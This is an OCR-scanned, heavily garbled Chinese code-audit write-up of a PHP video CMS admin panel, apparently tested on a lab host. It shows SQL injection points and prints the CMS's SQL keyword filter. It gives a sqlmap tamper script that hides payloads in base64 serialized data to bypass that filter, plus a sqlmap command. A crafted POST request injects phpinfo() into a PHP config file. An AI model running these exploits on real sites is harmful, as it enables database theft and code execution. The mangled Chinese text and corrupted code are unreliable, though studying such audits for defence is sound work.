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| —admin // EEEEER (XBAMEHNEMA wiaghp)

| |—coplugins // Bi=ABH
| |—ebak // FEESHELIRSH

| |—editor // 44558

| |=img // BEEE G

| |—js // IB& js 3Xt4

| |—templets // [EEHERS{EF
| —article // XERBRA

| —articlelist // S EFIFRXR

| —comment // g

| [—api // FiHEOM4

| |—images // iEERAIE



| [—js 7/ ¥ js X4

| —data // EeBEURR BT

| |—admin // EEEERE

| |—cache // 17

| |—mark // 7KED

| | —sessions //sessions 344

| —detail // HIARIER

| —include // #332t

| |—crons // ERHESEE

| |—data // 8253044

| |=inc // ¥ @sets

| |—webscan //360 & ialliEbR
| —install // Z22iEsR

| |—images // ZHAERERS M
| |—templates // 4t

| —js //js S



| |—ads // BIAT&EBS

| |—player // #EEEE R

| —list // WRFIZRIA

| —news // XEER

| —pic // B

| |—faces // &iEE%

| |—member // & REHRRE
| |—slide // |BhR Flash 34T
| | =zt // EREERSSUF

| —templets // #ERER

| —topic // EERER

| —topiclist // EHIERR

| —uploads // HEXXHBER

| —video // MMSTERTT

| —weixin // fSEOES

L—index.php // BTR314
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[Raw | et | % | Hex |

GET /wlaghp/admin_ajax.php?action=checkrepaatfy_name=11&timastamp=1592802512050 HTTPM A
Host: 192.168.164.138

DNT: 1

X:Request-With: XMLHttpRequast

User-Agant: Mozilla/S.0 (Windows NT 6.1, WOWES, ne33.0) Gecko20120101 Firefox/33.0

Accept: "™

Referer. http://192.168.164.138/w1 aghpfadmin_wideo. php?action=add

Accept-Encoding: gzip, deflate

Accept-Language: zh-CM zh,q=0.9

Cookie: PHPSESSID=ttduitbucrgif26e3k1153uE2; history=256%7 B%22name%22%3A%NI2asdasd %22 %I C%I2picHl 2 %IA% 22 %2 Fpic% 2F nopic. g
Connaction: closs|

£ wilaghp\admin_ajax.php AY 76 fTIHNFIMT

elseif($action=="checkrepeat")

r



$v_name=iconv('utf-8', 'utf-8',$_GET["v_name"]);

$row=$dsql->GetOne("select count(*) as dd from sea_data where v_name='$v_name'");
$num=$row['dd'];

if($num==0){echo "ok";}else{echo "err";}

SHENNSEGHITRIDULIE, £ P 1TNSEHTHIREHRHITIIE, IR Getone HREX

function GetOne($sql="")

{

global $dsql;

if($dsql->isClose)

{
$this->0pen(false);
$dsql->isClose = false;

¥

$sql=CheckSql($sql);

if(lempty($sql))

{
if(Im_eregi("limit",$sql)) $this->SetQuery(m_eregi_replace("[;]$",",trim($sql))." limit 0,1;");
else $this->SetQuery($sql);

¥

$this->Execute("one");

$arr = $this->GetArray("one");

if(!is_array($arr))

{
return ";

¥

else

{
@mysqli_free_result($this->result["one"]); return($arr);

¥

}

H1TT sql BARENE, IR Checksql HREL



function CheckSql($db_string,$querytype="select’)
{

global $cfg_cookie_encode;

$clean =
$error="";
$0ld_pos =
$pos = -1;
$log file
$userIP =

sea_INC.'/../data/'.md5($cfg_cookie_encode).' safe.txt';
GetIP();

$getUrl = GetCurUrl();

$db_string

str_ireplace('--', "", $db_string);

$db_string = str_ireplace('/*', "", $db_string);
$db_string = str_ireplace(*/', "", $db_string);
$db_string = str_ireplace(™*!', "", $db_string);
$db_string = str_ireplace('//', "", $db_string);
$db_string = str_ireplace(\\', "", $db_string);

$db_string
$db_string
$db_string
$db_string
$db_string
$db_string
$db_string
$db_string
$db_string
$db_string
$db_string
$db_string
$db_string
$db_string
$db_string
$db_string
$db_string
$db_string

dAl s~

str_ireplace('hex', "he", $db_string);
str_ireplace('updatexml’, "updatexm", $db_string);
str_ireplace('extractvalue', "extractvalu", $db_string);
str_ireplace('benchmark’, "benchmar", $db_string);
str_ireplace('sleep’, "slee", $db_string);
str_ireplace('load file', "load-file", $db_string);
str_ireplace('outfile’, "out-file", $db_string);
str_ireplace('ascii’, "asci", $db_string);
str_ireplace('char(’, "cha", $db_string);
str_ireplace('substr’, "subst", $db_string);
str_ireplace('substring', "substrin", $db_string);
str_ireplace('script’, "scrip", $db_string);

str_ireplace('frame', "fram", $db_string);

str_ireplace('information_schema', "information-schema", $db_string);

str_ireplace('exp’, "ex", $db_string);

str_ireplace('GeometryCollection', "GeometryCollectio", $db_string);

str_ireplace('polygon’, "polygo", $db_string);
str_ireplace('multipoint’, "multipoin”, $db_string);

n dnanTacal 'malbilinActrinAl "

multilinAactrin® dAl S\
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$db_string

str_ireplace('linestring’, "linestrin", $db_string);

$db_string = str_ireplace('multipolygon’, "multipolygo", $db_string);

if($querytype=="select")
{
$notallowl = "[*0-9a-z@\. -1{1,}(union|sleep|benchmarkl|load file|outfile)[*0-9a-z@\.-]{1,}";

if(m_eregi($notallowl,$db_string)){exit('SQL check');}
if(m_eregi('<script',$db_string)){exit('SQL check');}
if(m_eregi('/script’,$db_string)){exit('SQL check');}
if(m_eregi('script>',$db_string)){exit('SQL check');}

if(m_eregi('if:',$db_string)){exit('SQL check');}
if(m_eregi('--',$db_string)){exit('SQL check');}
if(m_eregi('char(’,$db_string)){exit('SQL check');}
if(m_eregi('*/',$db_string)){exit('SQL check');}

while (true)
{
$pos = stripos($db_string, '\'', $pos + 1);
if ($pos === false)
{
break;

¥
$clean .= substr($db_string, $old_pos, $pos - $old_pos);

while (true)

{

$posl = stripos($db_string, '\'", $pos + 1);
$pos2 = stripos($db_string, "\\', $pos + 1);
if ($posl === false)
{

break;

}
elseif ($pos2 == false || $pos2 > $posi)



$pos = $posi;
break;
¥
$pos = $pos2 + 1;
¥
$clean .= '$s$';
$0ld_pos = $pos + 1;

}
$clean .= substr($db_string, $old_pos);

$clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(''), $clean)));

if (stripos($clean, '@') !== FALSE OR stripos($clean,'char(')!== FALSE OR stripos($clean,'script
>')!== FALSE OR stripos($clean,'<script')!== FALSE OR stripos($clean,'"')!== FALSE OR stripos($c

lean,'$s$$s$') == FALSE)

{
$fail = TRUE;
if (preg_match("#” create table#i",$clean)) $fail = FALSE;
$error="unusual character";
¥
if (stripos($clean, 'union') !== false && preg_match('~(*|[*a-z])union($|[*[a-z])~s', $clean) != 0)
{
$fail = true;
$error="union detect";
}
elseif (stripos($clean, '/*') > 2 || stripos($clean, '--') !== false || stripos($clean, '#') !== false
)
{
$fail = true;
$error="comment detect";
}
elseif (stripos($clean, 'sleep') !== false && preg_match('~(*|[*a-z])sleep($|[*[a-z])~s', $clean) != 0)

{



$tail = true;

$error="sleep detect";

}
elseif (stripos($clean, 'updatexml') !== false && preg_match('~(*|[*a-z])updatexml($|[*[a-z])~s', $clea
n) !'=0)
{
$fail = true;
$error="updatexml| detect";
}
elseif (stripos($clean, 'extractvalue') !== false && preg_match('~("|[*a-z])extractvalue($|[*[a-z])~s', $c
lean) != 0)
{
$fail = true;
$error="extractvalue detect";
}
elseif (stripos($clean, 'benchmark') !== false 8&& preg_match('~("|[*a-z])benchmark($|[*[a-z])~s', $cle
an) != 0)
{
$fail = true;
$error="benchmark detect";
}
elseif (stripos($clean, 'load file') !== false 8&& preg_match('~("|[*a-z])load file($|[*[a-z])~s', $clean) !
- 0)
{
$fail = true;
$error="file fun detect";
}
elseif (stripos($clean, 'into outfile') !== false && preg_match('~(*|[*a-z])into\s+outfile($|[*[a-z])~s', $c
lean) !'= 0)
{
$fail = true;
$error="file fun detect";
}

elseif (preg_match('~\([")]*?select~s', $clean) != 0)
{

$fail = true;



$error="sub select detect";

}
if (!empty($fail))
{
fputs(fopen($log_file,'a+"), "$SuserlP||$getUrl||$db_string||$error\r\n");
exit("<font size='5' color="red'>Safe Alert: Request Error step 2!</font>");
}
else
{
return $db_string;
}

TR RERRERING, ERASRILISET, (BEE 623 17X sql 1IBGERT
strtolower QbHR, ANBEAL(EM select F&EIE, ATLAULSEREEFNHHBIEGRRE

the Cookie

a8 sql iTFA (D)



= wlaghp/admin_comment_news.php THY 54 ?ﬁ'ﬂ’ﬂﬂﬂ“ﬁ}%ﬂﬁ@fﬁ{/ﬁ

elseif($action=="delallcomment")

{
if(empty($e_id))
{
ShowMsg ("1BIEEREMPRATITL", "-1") ;
exit();
}
$ids = implode(',',$e_id);
delcommentcache($ids);
$dsql->ExecuteNoneQuery("delete from sea_comment where id in(".$ids.")");
ShowMsg ("B IIMHFRFMEEES! ", "admin_comment_news.php");
exit();
¥

1?)\72’;‘5& eid , Eﬁiﬁ delcommentcache I>_<I§5[

function delcommentcache($id)
{
global $dsql;
$dsql->setQuery("select v_id from sea_comment where id in (".$id.")");
$dsql->Execute("delcommentcache");
while($row = $dsql->GetArray("delcommentcache"))
{
if(file_exists(sea_DATA.'/cache/review/1/'.$row['v_id']."js"))

{
delfile(sea_DATA.'/cache/review/1/ .$row['v_id']."js");

MHENSIR LB TIEEETHE, IRt setQuery

function SetQuery($sql)
{



$prefix="sea ";
$sql = str_replace($prefix, $this->dbPrefix,$sql);
$this->queryString = $sql;

EEHITIIIE, IB#HE Execute

function Execute($id="me", $sql=")
{

global $dsql;

self::$i++;

if($dsql->isClose)

{
$this->0pen(false);
$dsql->isClose = false;

b
if(lempty($sql))
{
$this->SetQuery($sql);
b

if ($this->safeCheck)

{
Checksql($this->queryString);

$t1 = ExecTime();

$this->result[$id] = mysqli_query($this->1inkID, $this->queryString);

if ($this->result[$id]===Ffalse)



$this->DisplayError(mysqli_error($this->1inkID)." <br />Error sql: <font color="red'>". $this->q
ueryString."</font>");
}
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£ wilaghp/admin_video.php HY 44 TIENFIRT, 1E 85-88 1TXIRFEANSEHITIE, iRBITIHE
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T:I_: 124 ?ﬁ', Eﬁﬁ ExecuteNoneQuery

function ExecuteNoneQuery($sql=")

{

global $dsql;

self::$i++;
if($dsql->isClose)
{

$this->0pen(false);

$dsql->isClose = false;

$this->queryString = str_replace("@".$key,

}
if(lempty($sql))
{
$this->SetQuery($sql);
b
if(is_array($this->parameters))
{
foreach($this->parameters as $key=>$value)
{
¥

"

$value

,$this->querystring);



if ($this->safeCheck) CheckSql($this->queryString,‘update’);
return mysqli_query($this->1inkID, $this->queryString);
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E wlaghp/admin_collect news.php E’\] 382 ?i’, 1%}55 importok Eﬂ'

elseif($action=="importok")

{ $importrule = trim($importrule);
if(empty($importrule))
{
ShowMsg ("HIMIAEAZ! ", "-1");
exit();
¥
//XTBase64FETLHIHINIH {THERT
if(m_ereg('"BASE64:', $importrule))
{
if(!m_ereg(:END$',$importrule))
{
ShowMsg ("TZMMAEIE, BasebMBTUAIKEEMNI/T: BASEG4:baseb4dRiB/SHIECEEND !', '
1);
exit();
¥
$importrules = explode(':',$importrule);
$importrule = $importrules[1];
$importrule = unserialize(base64 decode($importrule)) OR die(FTEFFTEEHEIR! ');
//die(base64_decode($importrule));
¥
else
{
ShowMsg ("IZHMNAEIE, BasebMETUHIKEEMNI/I: BASE64:basebddRiD/SRIECEEND !',"-1");
exit();
}
if(1is_array($importrule) || !is_array($importrule['config']) || !is_array($importrule['type’
D))
{

Showsg (EHUTATE, FHESAL,-1);
exit();



$data = $importrule['config'];

unset($data['cid']);

$data['cname'].="(SARIE:".date("Y-m-d H:i:s").")";

$data['cotype'] = '1';

$sql = si("sea_co_config",$data,1);

$dsql->ExecuteNoneQuery($sql);

$cid = $dsql->GetLastID();

if (lempty($importrule['type'])){

foreach ($importrule['type'] as $type){

unset($type['tid']);
$type['cid'] = $cid;
$type['addtime'] = time();
$type['cjtime'] = ";

$type['cotype’] = '1;
$data = $type;

$sql = si("sea co type",$data,1);
$dsql->ExecuteNoneQuery($sql);

¥
ShowMsg (‘B IHESAFN!', 'admin_collect_news.php');
exit;
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EAXBEIHENBGEFHT 7 RIBLIE, FTL%RS sqlmap B9 tamper A
addnote.py

#l/usr/bin/env python
#addnote.py

Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission

import re

import base64

from lib.core.common import randomRange
from 1lib.core.compat import xrange
from lib.core.data import kb

from 1lib.core.enums import PRIORITY

__priority = PRIORITY.HIGH



def dependencies|():

pass
def tamper(payload, **kwargs):

b="getlistnum’) values(3+(1=2 qqq))#'

b=b.replace('qqq’', payload)
a='a:2:{s:6:"config";a:3:{s:5:"cname”;s:1:"1";s:6:"cotype";s:1:"1";s:len:"string";i:123;}s:4:"type";a:0:{}}'
a=a.replace('len’',str(len(b)))

a=a.replace('string’, b)

retVal="BASE64:"+base64.b64encode(a)+":END"

return retval

ZEZ| sqlmap

sqlmap.py -r C:\Users\11962\Desktop\12.txt -p importrule --dbms mysql --risk 3 -v 3 --dbs --tamper=addn

ote
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£ wilaghp/admin ip.php T8 R1TEF set £4%

if ($action=="set")

{
$v= $ POST['V'];
$ip = $ POST['ip'];
$open=fopen("../data/admin/ip.php","w" );
$str="<?php ';
$str.="$v ="";
$str.="$v";
$str.=""; ;
$str.="$ip = "';
$str.="$ip";
$str.=""; ;
$str.="?>";
fwrite($open, $str);
fclose($open);
ShowMsg ("R IHIRFIRE!", "admin_ip.php");
exit;
¥
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ak
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POST fw’lathfadmin_ip.php?actiun:seﬂH'ITPH.1

Host: 192.168.164.138

Content-Length: 38

Cache-Control: max-age=0

Crigin: http://192.168.164.138

Upgrade-Insecure-Requests: 1

DMT: 1

Content-Type: application/x-www-farm-urlencoded

User-Agent: Mozilla/S.0 (Windows NT 6.1, WOWE4, nv:33.0) Gecko/20120101 Firefox/33.0

Accept:

text/htrl application/xhtml+xml application/xml; g=0.9 imagefwebp image/apng ™, =08 application/signed-ex
change;vw=h3

Referer: http:/1192.168.164.138/w1aghp/admin_video. php?action=add

Accept-Encoding: gzip, deflate

Accept-Language: zh-CM,zh;q=0.9

Cookie: PHPSESSID=ttduithucrgis26e3k1153uvE2;
history=%5B%7B%22name%22%3A%22asdasd %22 %2 C%22pic %22 %3A% 22 %2F pic%2F nopic. gift%e22%2C
Bo220ink %22 %3A%22%2Fvideo%2F %3F 3-0-0. html%22%2 C%22pat %22 %3 A% 22 %22 %7 D %50,
*DEBUG_SESSION=16938

Connection: close

=O&Ip=H212112123121231", phpinfo();




EE \data\admin\ip.php

notify.php admin_ip.php ip.php

I = p h F|i|'|_r::: { |

kALl LA R hempeit192, 162,164,
[rmw] e | 5 x| [reaw | 2 | Hem | oo | msnsec |
GET Aalafadminfip.pha HTTE.| i

Host 152 168 164138 [ [PHP Version 5.4.45 |
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Path
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File

< - > e

/Nt 4= —
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1E wlaghp/admin weixinphp 1T, {FF set 284

SHEANSERBHITHE, HEFFEH

L ]
htmlspecialchars(

= intwval(
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if ($action=="set")

{
$notify1= $ POST['notify1'];
$notify2= $ POST['notify2'];
$notify3= $ POST['notify3'];
$open=fopen("../data/admin/notify.php","w" );
$str="<?php ';
$str.="$notify1 = "';
$str.="$notify1";
$str.="":";
$str.="$notify2 = "';
$str.="$notify2";
$str.="":";
$str.="$notify3 = "';
$str.="$notify3";
$str.="":";
$str.="2>";
fwrite($open, $str);
fclose($open);
ShowMsg ("FRINRIFIRE!", "admin_notify.php");
exit;

}
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